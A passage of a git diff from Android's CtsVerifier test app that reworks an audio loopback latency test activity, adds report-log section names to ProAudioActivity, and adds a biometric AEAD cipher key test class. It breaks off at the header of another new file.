- mResultText.setText(String.format("[phase: %d] - Analyzing ...",
- mTestPhase + 1));
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
- Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE");
- handleTestPhaseCompletion();
- break;
- default:
- break;
- }
- }
- };
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- setContentView(R.layout.audio_loopback_latency_activity);
-
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
- setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
-
- mClaimsOutput = AudioSystemFlags.claimsOutput(this);
- mClaimsInput = AudioSystemFlags.claimsInput(this);
- mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
-
- mYesString = getResources().getString(R.string.audio_general_yes);
- mNoString = getResources().getString(R.string.audio_general_no);
-
- // Pro Audio
- ((TextView)findViewById(R.id.audio_loopback_pro_audio)).setText(
- "" + (mClaimsProAudio ? mYesString : mNoString));
-
- // MMAP
- ((TextView)findViewById(R.id.audio_loopback_mmap)).setText(
- "" + (mSupportsMMAP ? mYesString : mNoString));
- ((TextView)findViewById(R.id.audio_loopback_mmap_exclusive)).setText(
- "" + (mSupportsMMAPExclusive ? mYesString : mNoString));
-
- // Low Latency
- ((TextView)findViewById(R.id.audio_loopback_low_latency)).setText(
- "" + (AudioSystemFlags.claimsLowLatencyAudio(this) ? mYesString : mNoString));
-
- mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
-
- mTestButton = (Button)findViewById(R.id.audio_loopback_test_btn);
- mTestButton.setOnClickListener(mBtnClickListener);
-
- mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
-
- mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
-
- connectLoopbackUI();
-
- calculateLatencyThresholds();
- displayLatencyThresholds();
- }
-
- private class OnBtnClickListener implements OnClickListener {
- @Override
- public void onClick(View v) {
- switch (v.getId()) {
- case R.id.audio_loopback_test_btn:
- Log.i(TAG, "audio loopback test");
- startAudioTest(mMessageHandler);
- break;
- }
- }
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
index 9490091..8ee3446 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2015 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,9 +16,679 @@
package com.android.cts.verifier.audio;
+import android.app.AlertDialog;
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.media.MediaRecorder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+import android.widget.Button;
+import android.widget.ProgressBar;
+import android.widget.SeekBar;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioSystemFlags;
+import com.android.cts.verifier.audio.audiolib.StatUtils;
+import com.android.cts.verifier.audio.audiolib.AudioUtils;
+import com.android.cts.verifier.CtsVerifierReportLog;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
+import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
+
/**
- * Tests Audio Device roundtrip latency by using a loopback plug.
+ * CtsVerifier Audio Loopback Latency Test
*/
-public class AudioLoopbackLatencyActivity extends AudioLoopbackBaseActivity {
- private static final String TAG = AudioLoopbackLatencyActivity.class.getSimpleName();
+public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
+ private static final String TAG = "AudioLoopbackLatencyActivity";
+
+ // JNI load
+ static {
+ try {
+ System.loadLibrary("audioloopback_jni");
+ } catch (UnsatisfiedLinkError e) {
+ Log.e(TAG, "Error loading Audio Loopback JNI library");
+ Log.e(TAG, "e: " + e);
+ e.printStackTrace();
+ }
+
+ /* TODO: gracefully fail/notify if the library can't be loaded */
+ }
+ protected AudioManager mAudioManager;
+
+ // UI
+ TextView mInputDeviceTxt;
+ TextView mOutputDeviceTxt;
+
+ TextView mAudioLevelText;
+ SeekBar mAudioLevelSeekbar;
+
+ TextView mTestPathTxt;
+
+ TextView mResultText;
+ ProgressBar mProgressBar;
+ int mMaxLevel;
+
+ OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+ protected Button mTestButton;
+
+ String mYesString;
+ String mNoString;
+
+ // These flags determine the maximum allowed latency
+ private boolean mClaimsProAudio;
+ private boolean mClaimsOutput;
+ private boolean mClaimsInput;
+
+ // Useful info
+ private boolean mSupportsMMAP = AudioUtils.isMMapSupported();
+ private boolean mSupportsMMAPExclusive = AudioUtils.isMMapExclusiveSupported();
+
+ // Peripheral(s)
+ boolean mIsPeripheralAttached; // CDD ProAudio section C-1-3
+ AudioDeviceInfo mOutputDevInfo;
+ AudioDeviceInfo mInputDevInfo;
+
+ protected static final int TESTPERIPHERAL_INVALID = -1;
+ protected static final int TESTPERIPHERAL_NONE = 0;
+ protected static final int TESTPERIPHERAL_ANALOG_JACK = 1;
+ protected static final int TESTPERIPHERAL_USB = 2;
+ protected static final int TESTPERIPHERAL_DEVICE = 3; // device speaker + mic
+ protected int mTestPeripheral = TESTPERIPHERAL_NONE;
+
+ // Loopback Logic
+ NativeAnalyzerThread mNativeAnalyzerThread = null;
+
+ protected static final int NUM_TEST_PHASES = 5;
+ protected int mTestPhase = 0;
+
+ protected double[] mLatencyMillis = new double[NUM_TEST_PHASES];
+ protected double[] mConfidence = new double[NUM_TEST_PHASES];
+
+ protected double mMeanLatencyMillis;
+ protected double mMeanAbsoluteDeviation;
+ protected double mMeanConfidence;
+
+ protected static final double CONFIDENCE_THRESHOLD = 0.6;
+ // impossibly low latencies (indicating something in the test went wrong).
+ protected static final float EPSILON = 1.0f;
+ protected static final double PROAUDIO_RECOMMENDED_LATENCY_MS = 20.0;
+ protected static final double PROAUDIO_RECOMMENDED_USB_LATENCY_MS = 25.0;
+ protected static final double PROAUDIO_MUST_LATENCY_MS = 20.0;
+ protected static final double BASIC_RECOMMENDED_LATENCY_MS = 50.0;
+ protected static final double BASIC_MUST_LATENCY_MS = 800.0;
+ protected double mMustLatency;
+ protected double mRecommendedLatency;
+
+ // The audio stream callback threads should stop and close
+ // in less than a few hundred msec. This is a generous timeout value.
+ private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
+
+ //
+ // Common UI Handling
+ //
+ private void connectLoopbackUI() {
+ // Connected Device
+ mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
+ mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
+
+ mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
+ mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
+ mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+ mAudioLevelSeekbar.setMax(mMaxLevel);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
+ refreshLevel();
+
+ mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
+ @Override
+ public void onStopTrackingTouch(SeekBar seekBar) {}
+
+ @Override
+ public void onStartTrackingTouch(SeekBar seekBar) {}
+
+ @Override
+ public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
+ progress, 0);
+ Log.i(TAG,"Level set to: " + progress);
+ refreshLevel();
+ }
+ });
+
+ mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
+ mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
+ showWait(false);
+ }
+
+ //
+ // Peripheral Connection Logic
+ //
+ protected void scanPeripheralList(AudioDeviceInfo[] devices) {
+ // CDD Section C-1-3: USB port, host-mode support
+
+ // Can't just use the first record because then we will only get
+ // Source OR sink, not both even on devices that are both.
+ mOutputDevInfo = null;
+ mInputDevInfo = null;
+
+ // Any valid peripherals
+ // Do we leave in the Headset test to support a USB-Dongle?
+ for (AudioDeviceInfo devInfo : devices) {
+ if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
+ devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
+ devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
+ devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
+ if (devInfo.isSink()) {
+ mOutputDevInfo = devInfo;
+ }
+ if (devInfo.isSource()) {
+ mInputDevInfo = devInfo;
+ }
+ } else {
+ handleDeviceConnection(devInfo);
+ }
+ }
+
+ // need BOTH input and output to test
+ mIsPeripheralAttached = mOutputDevInfo != null && mInputDevInfo != null;
+ calculateTestPeripheral();
+ showConnectedAudioPeripheral();
+ calculateLatencyThresholds();
+ displayLatencyThresholds();
+ }
+
+ protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
+ // NOP
+ }
+
+ private class ConnectListener extends AudioDeviceCallback {
+ /*package*/ ConnectListener() {}
+
+ //
+ // AudioDevicesManager.OnDeviceConnectionListener
+ //
+ @Override
+ public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+ scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+ }
+
+ @Override
+ public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+ scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+ }
+ }
+
+ private void calculateTestPeripheral() {
+ if (!mIsPeripheralAttached) {
+ if ((mOutputDevInfo != null && mInputDevInfo == null)
+ || (mOutputDevInfo == null && mInputDevInfo != null)) {
+ mTestPeripheral = TESTPERIPHERAL_INVALID;
+ } else {
+ mTestPeripheral = TESTPERIPHERAL_DEVICE;
+ }
+ } else if (!areIODevicesOnePeripheral()) {
+ mTestPeripheral = TESTPERIPHERAL_INVALID;
+ } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
+ mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
+ mTestPeripheral = TESTPERIPHERAL_USB;
+ } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
+ mInputDevInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) {
+ mTestPeripheral = TESTPERIPHERAL_ANALOG_JACK;
+ } else {
+ // Huh?
+ Log.e(TAG, "No valid peripheral found!?");
+ mTestPeripheral = TESTPERIPHERAL_NONE;
+ }
+ }
+
+ private boolean isPeripheralValidForTest() {
+ return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
+ || mTestPeripheral == TESTPERIPHERAL_USB;
+ }
+
+ private void showConnectedAudioPeripheral() {
+ mInputDeviceTxt.setText(
+ mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
+ : "Not connected");
+ mOutputDeviceTxt.setText(
+ mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
+ : "Not connected");
+
+ String pathName;
+ switch (mTestPeripheral) {
+ case TESTPERIPHERAL_INVALID:
+ pathName = "Invalid Test Peripheral";
+ break;
+
+ case TESTPERIPHERAL_ANALOG_JACK:
+ pathName = "Headset Jack";
+ break;
+
+ case TESTPERIPHERAL_USB:
+ pathName = "USB";
+ break;
+
+ case TESTPERIPHERAL_DEVICE:
+ pathName = "Device Speaker + Microphone";
+ break;
+
+ case TESTPERIPHERAL_NONE:
+ default:
+ pathName = "Error. Unknown Test Path";
+ break;
+ }
+ mTestPathTxt.setText(pathName);
+ mTestButton.setEnabled(
+ mTestPeripheral != TESTPERIPHERAL_INVALID && mTestPeripheral != TESTPERIPHERAL_NONE);
+
+ }
+
+ private boolean areIODevicesOnePeripheral() {
+ if (mOutputDevInfo == null || mInputDevInfo == null) {
+ return false;
+ }
+
+ return mOutputDevInfo.getProductName().toString().equals(
+ mInputDevInfo.getProductName().toString());
+ }
+
+ private void calculateLatencyThresholds() {
+ switch (mTestPeripheral) {
+ case TESTPERIPHERAL_ANALOG_JACK:
+ mRecommendedLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+ mMustLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_MUST_LATENCY_MS;
+ break;
+
+ case TESTPERIPHERAL_USB:
+ mRecommendedLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+ mMustLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_MUST_LATENCY_MS;
+ break;
+
+ case TESTPERIPHERAL_DEVICE:
+ // This isn't a valid case so we won't pass it, but it can be run
+ mRecommendedLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
+ mMustLatency = mClaimsProAudio
+ ? PROAUDIO_RECOMMENDED_LATENCY_MS :BASIC_MUST_LATENCY_MS;
+ break;
+
+ case TESTPERIPHERAL_NONE:
+ default:
+ mRecommendedLatency = BASIC_RECOMMENDED_LATENCY_MS;
+ mMustLatency = BASIC_MUST_LATENCY_MS;
+ break;
+ }
+ }
+
+ private void displayLatencyThresholds() {
+ if (isPeripheralValidForTest()) {
+ ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText("" + mMustLatency);
+ ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(
+ "" + mRecommendedLatency);
+ } else {
+ String naStr = getResources().getString(R.string.audio_proaudio_NA);
+ ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText(naStr);
+ ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(naStr);
+ }
+ }
+
+ /**
+ * refresh Audio Level seekbar and text
+ */
+ private void refreshLevel() {
+ int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+ mAudioLevelSeekbar.setProgress(currentLevel);
+
+ String levelText = String.format("%s: %d/%d",
+ getResources().getString(R.string.audio_loopback_level_text),
+ currentLevel, mMaxLevel);
+ mAudioLevelText.setText(levelText);
+ }
+
+ //
+ // show active progress bar
+ //
+ protected void showWait(boolean show) {
+ mProgressBar.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
+ }
+
+ //
+ // Common logging
+ //
+ // Schema
+ private static final String KEY_LATENCY = "latency";
+ private static final String KEY_CONFIDENCE = "confidence";
+ private static final String KEY_SAMPLE_RATE = "sample_rate";
+ private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
+ private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
+ private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
+ private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
+ private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
+ private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
+ private static final String KEY_TEST_MMAP = "supports_mmap";
+ private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
+ private static final String KEY_LEVEL = "level";
+ private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
+
+ @Override
+ public String getTestId() {
+ return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+ }
+
+ @Override
+ public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public final String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, "audio_loopback_latency_activity");
+ }
+
+ //
+ // Subclasses should call this explicitly. SubClasses should call submit() after their logs
+ //
+ @Override
+ public void recordTestResults() {
+ if (mNativeAnalyzerThread == null) {
+ return; // no results to report
+ }
+
+ CtsVerifierReportLog reportLog = getReportLog();
+ reportLog.addValue(
+ KEY_LATENCY,
+ mMeanLatencyMillis,
+ ResultType.LOWER_BETTER,
+ ResultUnit.MS);
+
+ reportLog.addValue(
+ KEY_CONFIDENCE,
+ mMeanConfidence,
+ ResultType.HIGHER_BETTER,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_SAMPLE_RATE,
+ mNativeAnalyzerThread.getSampleRate(),
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_IS_LOW_LATENCY,
+ mNativeAnalyzerThread.isLowLatencyStream(),
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_IS_PERIPHERAL_ATTACHED,
+ mIsPeripheralAttached,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_IS_PRO_AUDIO,
+ mClaimsProAudio,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_TEST_PERIPHERAL,
+ mTestPeripheral,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_TEST_MMAP,
+ mSupportsMMAP,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_TEST_MMAPEXCLUSIVE ,
+ mSupportsMMAPExclusive,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ if (mIsPeripheralAttached) {
+ reportLog.addValue(
+ KEY_INPUT_PERIPHERAL_NAME,
+ mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_OUTPUT_PERIPHERAL_NAME,
+ mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ }
+
+ int audioLevel = mAudioLevelSeekbar.getProgress();
+ reportLog.addValue(
+ KEY_LEVEL,
+ audioLevel,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.submit();
+ }
+
+ private void startAudioTest(Handler messageHandler) {
+ getPassButton().setEnabled(false);
+
+ mTestPhase = 0;
+ java.util.Arrays.fill(mLatencyMillis, 0.0);
+ java.util.Arrays.fill(mConfidence, 0.0);
+
+ mNativeAnalyzerThread = new NativeAnalyzerThread(this);
+ if (mNativeAnalyzerThread != null) {
+ mNativeAnalyzerThread.setMessageHandler(messageHandler);
+ // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
+ mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
+ startTestPhase();
+ } else {
+ Log.e(TAG, "Couldn't allocate native analyzer thread");
+ mResultText.setText(getResources().getString(R.string.audio_loopback_failure));
+ }
+ }
+
+ private void startTestPhase() {
+ if (mNativeAnalyzerThread != null) {
+ mNativeAnalyzerThread.startTest();
+
+ // what is this for?
+ try {
+ Thread.sleep(200);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+
+ private void handleTestCompletion() {
+ mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
+ mMeanAbsoluteDeviation =
+ StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
+ mMeanConfidence = StatUtils.calculateMean(mConfidence);
+
+ boolean pass = isPeripheralValidForTest()
+ && mMeanConfidence >= CONFIDENCE_THRESHOLD
+ && mMeanLatencyMillis > EPSILON
+ && mMeanLatencyMillis < mMustLatency;
+
+ getPassButton().setEnabled(pass);
+
+ String result;
+ if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
+ result = String.format(
+ "Test Finished\nInsufficient Confidence (%.2f < %.2f). No Results.",
+ mMeanConfidence, CONFIDENCE_THRESHOLD);
+ } else {
+ result = String.format(
+ "Test Finished - %s\nMean Latency:%.2f ms (required:%.2f)\n" +
+ "Mean Absolute Deviation: %.2f\n" +
+ " Confidence: %.2f\n" +
+ " Low Latency Path: %s",
+ (pass ? "PASS" : "FAIL"),
+ mMeanLatencyMillis,
+ mMustLatency,
+ mMeanAbsoluteDeviation,
+ mMeanConfidence,
+ mNativeAnalyzerThread.isLowLatencyStream() ? mYesString : mNoString);
+ }
+
+ // Make sure the test thread is finished. It should already be done.
+ if (mNativeAnalyzerThread != null) {
+ try {
+ mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+ mResultText.setText(result);
+
+ recordTestResults();
+
+ showWait(false);
+ mTestButton.setEnabled(true);
+ }
+
+ private void handleTestPhaseCompletion() {
+ if (mNativeAnalyzerThread != null && mTestPhase < NUM_TEST_PHASES) {
+ mLatencyMillis[mTestPhase] = mNativeAnalyzerThread.getLatencyMillis();
+ mConfidence[mTestPhase] = mNativeAnalyzerThread.getConfidence();
+
+ String result = String.format(
+ "Test %d Finished\nLatency: %.2f ms\nConfidence: %.2f\n",
+ mTestPhase,
+ mLatencyMillis[mTestPhase],
+ mConfidence[mTestPhase]);
+
+ mResultText.setText(result);
+ try {
+ mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+ // Thread.sleep(/*STOP_TEST_TIMEOUT_MSEC*/500);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+
+ mTestPhase++;
+ if (mTestPhase >= NUM_TEST_PHASES) {
+ handleTestCompletion();
+ } else {
+ startTestPhase();
+ }
+ }
+ }
+
+ /**
+ * handler for messages from audio thread
+ */
+ private Handler mMessageHandler = new Handler() {
+ public void handleMessage(Message msg) {
+ super.handleMessage(msg);
+ switch(msg.what) {
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
+ Log.v(TAG,"got message native rec started!!");
+ showWait(true);
+ mResultText.setText(String.format("[phase: %d] - Test Running...",
+ (mTestPhase + 1)));
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
+ Log.v(TAG,"got message native rec can't start!!");
+ mResultText.setText("Test Error opening streams.");
+ handleTestCompletion();
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
+ Log.v(TAG,"got message native rec can't start!!");
+ mResultText.setText("Test Error while recording.");
+ handleTestCompletion();
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
+ mResultText.setText("Test FAILED due to errors.");
+ handleTestCompletion();
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING:
+ Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING");
+ mResultText.setText(String.format("[phase: %d] - Analyzing ...",
+ mTestPhase + 1));
+ break;
+ case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
+ Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE");
+ handleTestPhaseCompletion();
+ break;
+ default:
+ break;
+ }
+ }
+ };
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.audio_loopback_latency_activity);
+
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+
+ mClaimsOutput = AudioSystemFlags.claimsOutput(this);
+ mClaimsInput = AudioSystemFlags.claimsInput(this);
+ mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
+
+ mYesString = getResources().getString(R.string.audio_general_yes);
+ mNoString = getResources().getString(R.string.audio_general_no);
+
+ // Pro Audio
+ ((TextView)findViewById(R.id.audio_loopback_pro_audio)).setText(
+ "" + (mClaimsProAudio ? mYesString : mNoString));
+
+ // MMAP
+ ((TextView)findViewById(R.id.audio_loopback_mmap)).setText(
+ "" + (mSupportsMMAP ? mYesString : mNoString));
+ ((TextView)findViewById(R.id.audio_loopback_mmap_exclusive)).setText(
+ "" + (mSupportsMMAPExclusive ? mYesString : mNoString));
+
+ // Low Latency
+ ((TextView)findViewById(R.id.audio_loopback_low_latency)).setText(
+ "" + (AudioSystemFlags.claimsLowLatencyAudio(this) ? mYesString : mNoString));
+
+ mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
+
+ mTestButton = (Button)findViewById(R.id.audio_loopback_test_btn);
+ mTestButton.setOnClickListener(mBtnClickListener);
+
+ mAudioManager = getSystemService(AudioManager.class);
+
+ mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+ connectLoopbackUI();
+
+ calculateLatencyThresholds();
+ displayLatencyThresholds();
+ }
+
+ private class OnBtnClickListener implements OnClickListener {
+ @Override
+ public void onClick(View v) {
+ switch (v.getId()) {
+ case R.id.audio_loopback_test_btn:
+ Log.i(TAG, "audio loopback test");
+ startAudioTest(mMessageHandler);
+ break;
+ }
+ }
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index f9a182b..5ca2256 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -69,6 +69,7 @@
private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
// ReportLog Schema
+ private static final String SECTION_PRO_AUDIO_ACTIVITY = "pro_audio_activity";
private static final String KEY_CLAIMS_PRO = "claims_pro_audio";
private static final String KEY_CLAIMS_LOW_LATENCY = "claims_low_latency_audio";
private static final String KEY_CLAIMS_MIDI = "claims_midi";
@@ -245,6 +246,14 @@
// PassFailButtons Overrides
//
@Override
+ public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public final String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, SECTION_PRO_AUDIO_ACTIVITY);
+ }
+
+ @Override
public void recordTestResults() {
CtsVerifierReportLog reportLog = getReportLog();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationAeadCipherTest.java
new file mode 100644
index 0000000..e23ab73
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationAeadCipherTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.hardware.biometrics.BiometricPrompt;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+import javax.crypto.Cipher;
+import javax.crypto.KeyGenerator;
+
+/**
+ * An abstract base class to add Aead Cipher tests.
+ */
+public abstract class AbstractUserAuthenticationAeadCipherTest
+ extends AbstractUserAuthenticationTest {
+ private Cipher mCipher;
+
+ @Override
+ void createUserAuthenticationKey(String keyName, int timeout, int authType,
+ boolean useStrongBox) throws Exception {
+ KeyGenParameterSpec.Builder builder = new KeyGenParameterSpec.Builder(
+ keyName, KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT);
+ builder.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
+ .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
+ .setUserAuthenticationRequired(true)
+ .setUserAuthenticationParameters(timeout, authType)
+ .setIsStrongBoxBacked(useStrongBox);
+
+ KeyGenerator keyGenerator = KeyGenerator.getInstance(
+ KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
+ keyGenerator.init(builder.build());
+ keyGenerator.generateKey();
+ }
+
+ @Override
+ void initializeKeystoreOperation(String keyName) throws Exception {
+ mCipher = Utils.initAeadCipher(keyName);
+ }
+
+ @Override
+ BiometricPrompt.CryptoObject getCryptoObject() {
+ return new BiometricPrompt.CryptoObject(mCipher);
+ }
+
+ @Override
+ void doKeystoreOperation(byte[] payload) throws Exception {
+ try {
+ byte[] aad = "Test aad data".getBytes();
+ mCipher.updateAAD(aad);
+ Utils.doEncrypt(mCipher, payload);
+ } finally {
+ mCipher = null;
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricAeadCipherTest.java
new file mode 100644
index 0000000..b2ab3ed
--- /dev/null
